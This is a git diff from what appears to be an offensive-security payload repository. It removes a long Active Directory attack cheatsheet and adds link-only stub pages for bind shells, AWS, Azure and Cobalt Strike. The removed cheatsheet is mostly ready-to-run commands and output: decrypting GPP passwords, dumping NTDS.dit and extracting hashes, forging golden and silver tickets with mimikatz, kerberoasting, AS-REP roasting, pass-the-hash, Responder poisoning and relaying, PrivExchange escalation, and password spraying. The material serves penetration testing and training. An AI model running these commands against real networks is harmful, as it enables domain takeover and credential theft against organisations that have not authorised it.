-findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
-```
-
-Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
-
-```bash
-echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
-
-e.g: 
-echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
-
-echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
-```
-
-Metasploit modules to enumerate shares and credentials
-
-```c
-scanner/smb/smb_enumshares
-post/windows/gather/enum_shares
-post/windows/gather/credentials/gpp
-```
-
-Crackmapexec modules
-
-```powershell
-cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
-cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
-```
-
-List all GPO for a domain
-
-```powershell
-Get-GPO -domaine DOMAIN.COM -all
-Get-GPOReport -all -reporttype xml --all
-
-Powersploit:
-Get-NetGPO
-Get-NetGPOGroup
-```
-
-### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)
-
-#### Using ndtsutil
-
-```powershell
-C:\>ntdsutil
-ntdsutil: activate instance ntds
-ntdsutil: ifm
-ifm: create full c:\pentest
-ifm: quit
-ntdsutil: quit
-```
-
-or 
-
-```powershell
-ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
-```
-
-#### Using Vshadow
-
-```powershell
-vssadmin create shadow /for=C :
-Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
-```
-
-You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
-
-```powershell
-Import-Module .\Copy-VSS.ps1
-Copy-VSS
-Copy-VSS -DestinationDir C:\ShadowCopy\
-```
-
-#### Using vssadmin
-
-```powershell
-vssadmin create shadow /for=C:
-copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
-copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
-```
-
-#### Using DiskShadow (a Windows signed binary)
-
-```powershell
-diskshadow.txt contains :
-set context persistent nowriters
-add volume c: alias someAlias
-create
-expose %someAlias% z:
-exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
-delete shadows volume %someAlias%
-reset
-
-then:
-NOTE - must be executed from C:\Windows\System32
-diskshadow.exe /s  c:\diskshadow.txt
-dir c:\exfil
-reg.exe save hklm\system c:\exfil\system.bak
-```
-
-#### Extract hashes from ntds.dit
-
-then you need to use secretsdump to extract the hashes
-
-```java
-secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
-```
-
-secretsdump also works remotely
-
-```java
-./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
-./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
-```
-
-#### Alternatives - modules
-
-Metasploit modules
-
-```c
-windows/gather/credentials/domain_hashdump
-```
-
-PowerSploit module
-
-```powershell
-Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
-```
-
-CrackMapExec module
-
-```powershell
-cme smb 10.10.0.202 -u username -p password --ntds vss
-```
-
-### Password in AD User comment
-
-```powershell
-enum4linux | grep -i desc
-There are 3-4 fields that seem to be common in most AD schemas: 
-UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
-
-Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
-```
-or dump the Active Directory and `grep` the content.
-
-```powershell
-ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
-```
-
-### PassTheTicket Golden Tickets
-
-Forging a TGT require the krbtgt key
-
-Mimikatz version
-
-```powershell
-Get info - Mimikatz
-lsadump::dcsync /user:krbtgt
-lsadump::lsa /inject /name:krbtgt
-
-Forge a Golden ticket - Mimikatz
-kerberos::purge
-kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
-kerberos::tgt
-```
-
-Meterpreter version
-
-```powershell
-Get info - Meterpreter(kiwi)
-dcsync_ntlm krbtgt
-dcsync krbtgt
-
-Forge a Golden ticket - Meterpreter
-load kiwi
-golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
-golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
-kerberos_ticket_purge
-kerberos_ticket_use /root/Downloads/pentestlabuser.tck
-kerberos_ticket_list
-```
-
-Using a ticket on Linux
-
-```powershell
-Convert the ticket kirbi to ccache with kekeo
-misc::convert ccache ticket.kirbi
-
-Alternatively you can use ticketer from Impacket
-./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
-
-ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
-./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
-
-
-export KRB5CCNAME=/home/user/ticket.ccache
-cat $KRB5CCNAME
-
-
-NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
-./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
-```
-
-### PassTheTicket Silver Tickets
-
-Forging a TGS require machine accound password (key) from the KDC
-
-```powershell
-Create a ticket for the service
-kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
-/kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
-
-Then use the same steps as a Golden ticket
-misc::convert ccache ticket.kirbi
-export KRB5CCNAME=/home/user/ticket.ccache
-./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
-```
-
-### Trust Tickets
-
-TODO
-
-### Kerberoast
-
-> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
-
-Any valid domain user can request a kerberos ticket for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
-
-```powershell
-$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
-
-Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
-
-ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
---------------------  -------------  --------------------------------------------------------  -------------------  -------------------
-active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 
-
-$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2
-```
-
-Alternatively with [Rubeus](https://github.com/GhostPack/Rubeus)
-
-```powershell
-.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD
-```
-
-Then crack the ticket with hashcat or john
-
-```powershell
-hashcat -m 13100 -a 0 hash.txt crackstation.txt
-./john ~/hash.txt --wordlist=rockyou.lst
-```
-
-### KRB_AS_REP Roasting
-
-If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
-
-```powershell
-C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
-C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user
-
- ______        _
-(_____ \      | |
- _____) )_   _| |__  _____ _   _  ___
-|  __  /| | | |  _ \| ___ | | | |/___)
-| |  \ \| |_| | |_) ) ____| |_| |___ |
-|_|   |_|____/|____/|_____)____/(___/
-
-v1.3.4
-
-
-[*] Action: AS-REP roasting
-
-[*] Target User            : TestOU3user
-[*] Target Domain          : testlab.local
-
-[*] SamAccountName         : TestOU3user
-[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
-[*] Using domain controller: testlab.local (192.168.52.100)
-[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
-[*] Connecting to 192.168.52.100:88
-[*] Sent 169 bytes
-[*] Received 1437 bytes
-[+] AS-REQ w/o preauth successful!
-[*] AS-REP hash:
-
-    $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
-```
-
-### Pass-the-Hash
-
-The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.
-
-```powershell
-use exploit/windows/smb/psexec
-set RHOST 10.2.0.3
-set SMBUser jarrieta
-set SMBPass nastyCutt3r  
-# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
-# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
-set PAYLOAD windows/meterpreter/bind_tcp
-run
-shell
-
-or with crackmapexec
-cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
-also works with net range : cme smb 10.2.0.2/24 ... 
-
-or with psexec
-proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
-
-or with the builtin Windows RDP and mimikatz
-sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
-```
-
-### OverPass-the-Hash (pass the key)
-
-Request a TGT with only the NT hash
-
-```powershell
-Using impacket
-./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
-chmod 600 tgwynn.ccache
-
-also with the AES Key if you have it
-./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
-
-
-ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
-kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
-klist
-```
-
-### Capturing and cracking NTLMv2 hashes
-
-If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.
-
-```python
-python Responder.py -I eth0
-```
-
-Then crack the hash with `hashcat`
-
-```powershell
-hashcat -m 5600 -a 0 hash.txt crackstation.txt
-```
-
-### NTLMv2 hashes relaying
-
-If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine.
-
-1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
-2. Run `python  RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
-3. Run `python Responder.py -I <interface_card>` and `python MultiRelay.py -t <target_machine_IP> -u ALL`
-4. Wait for a shell
-
-### Dangerous Built-in Groups Usage
-
-AdminSDHolder
-
-```powershell
-Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
-Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
-or
-([adsisearcher]"(AdminCount=1)").findall()
-```
-
-### Trust relationship between domains
-
-```powershell
-nltest /trusted_domains
-```
-
-or
-
-```powershell
-([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
-
-SourceName          TargetName                    TrustType      TrustDirection
-----------          ----------                    ---------      --------------
-domainA.local      domainB.local                  TreeRoot       Bidirectional
-```
-
-### PrivExchange attack
-
-Exchange your privileges for Domain Admin privs by abusing Exchange.
-You need a shell on a user account with a mailbox.
-
-1. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server.
-    ```bash
-    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
-    python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
-    
-    # https://github.com/G0ldenGunSec/PowerPriv 
-    powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
-    ```
-
-2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
-3. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
-    ```bash
-    python secretsdump.py xxxxxxxxxx -just-dc
-    ```
-
-Alternatively you can use the Metasploit module 
-
-[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
-
-### Password spraying
-
-Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. 
-
-> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates. 
-
-Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
-
-```powershell
-root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
-root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
-```
-
-Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
-
-```powershell
-crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
-```
-
-Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
-
-```powershell
-python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
-```
-
-Using [hydra]() and [ncrack]() to target RDP services.
-
-```powershell
-hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
-ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
-```
-
-Most of the time the best passwords to spray are :
-
-- Password1
-- Welcome1
-- $Companyname1
-
-
-## References
-
-* [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
-* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
-* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
-* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
-* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
-* [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
-* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
-* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
-* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
-* [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
-* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
-* [Pen Testing Active Directory Environments - Part III:  Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
-* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
-* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
-* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
-* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
-* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
-* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
-* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
-* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
-* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
-* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
-* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
-* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
-* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
-* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
-* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)
-* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/)
-* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
-* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf)
-* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
-* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/)
-* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
-* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin)
-* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html)
-* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf)
-* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/)
-* [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/)
-* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/)

Methodology and Resources/Bind Shell Cheatsheet.md

@@ -0,0 +1,13 @@
+# Bind Shell
+
+:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/shell-bind](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/)
+
+- [Perl](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#perl)
+- [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#python)
+- [PHP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#php)
+- [Ruby](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ruby)
+- [Netcat Traditional](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-traditional)
+- [Netcat OpenBsd](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-openbsd)
+- [Ncat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ncat)
+- [Socat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#socat)
+- [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#powershell)

Methodology and Resources/Cloud - AWS Pentest.md

@@ -0,0 +1,17 @@
+# Cloud - AWS
+
+:warning: Content of this page has been moved to [InternalAllTheThings/cloud/aws](https://github.com/swisskyrepo/InternalAllTheThings/)
+
+- [Cloud - AWS](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/AWS%20Pentest/)
+- [AWS - Access Token & Secrets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-access-token/)
+- [AWS - Service - Cognito](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-cognito/)
+- [AWS - Service - DynamoDB](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-dynamodb/)
+- [AWS - Service - EC2](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ec2/)
+- [AWS - Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-enumeration/)
+- [AWS - Identity & Access Management](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-iam/)
+- [AWS - IOC & Detections](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ioc-detection/)
+- [AWS - Service - Lambda](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-lambda/)
+- [AWS - Metadata SSRF](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/)
+- [AWS - Service - S3 Buckets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-s3-bucket/)
+- [AWS - Service - SSM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ssm/)
+- [AWS - Training](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-training/)

Methodology and Resources/Cloud - Azure Pentest.md

@@ -0,0 +1,12 @@
+# Cloud - Azure
+
+:warning: Content of this page has been moved to [InternalAllTheThings/cloud/azure](https://github.com/swisskyrepo/InternalAllTheThings/)
+
+- [Azure AD Connect](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-ad-connect/)
+- [Azure AD Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-enumeration/)
+- [Azure AD IAM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-devices-users-sp/)
+- [Azure AD Phishing](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)
+- [Azure AD Tokens](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-access-and-token/)
+- [Azure Persistence](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-persistence/)
+- [Azure Requirements](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-requirements/)
+- [Azure Services](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-services/)

Methodology and Resources/Cobalt Strike - Cheatsheet.md

@@ -0,0 +1,32 @@
+# Cobalt Strike
+
+:warning: Content of this page has been moved to [InternalAllTheThings/command-control/cobalt-strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/)
+
+- [Infrastructure](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#infrastructure)
+    - [Redirectors](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#redirectors)
+    - [Domain fronting](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#domain-fronting)
+- [OpSec](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#opsec)
+    - [Customer ID](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#customer-id)
+- [Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#payloads)
+    - [DNS Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#dns-beacon)
+    - [SMB Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#smb-beacon)
+    - [Metasploit compatibility](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#metasploit-compatibility)
+    - [Custom Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#custom-payloads)
+- [Malleable C2](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#malleable-c2)
+- [Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#files)
+- [Powershell and .NET](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-and-net)
+    - [Powershell commabds](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-commands)
+    - [.NET remote execution](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#net-remote-execution)
+- [Lateral Movement](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#lateral-movement)
+- [VPN & Pivots](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#vpn--pivots)
+- [Kits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#kits)
+    - [Elevate Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#elevate-kit)
+    - [Persistence Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#persistence-kit)
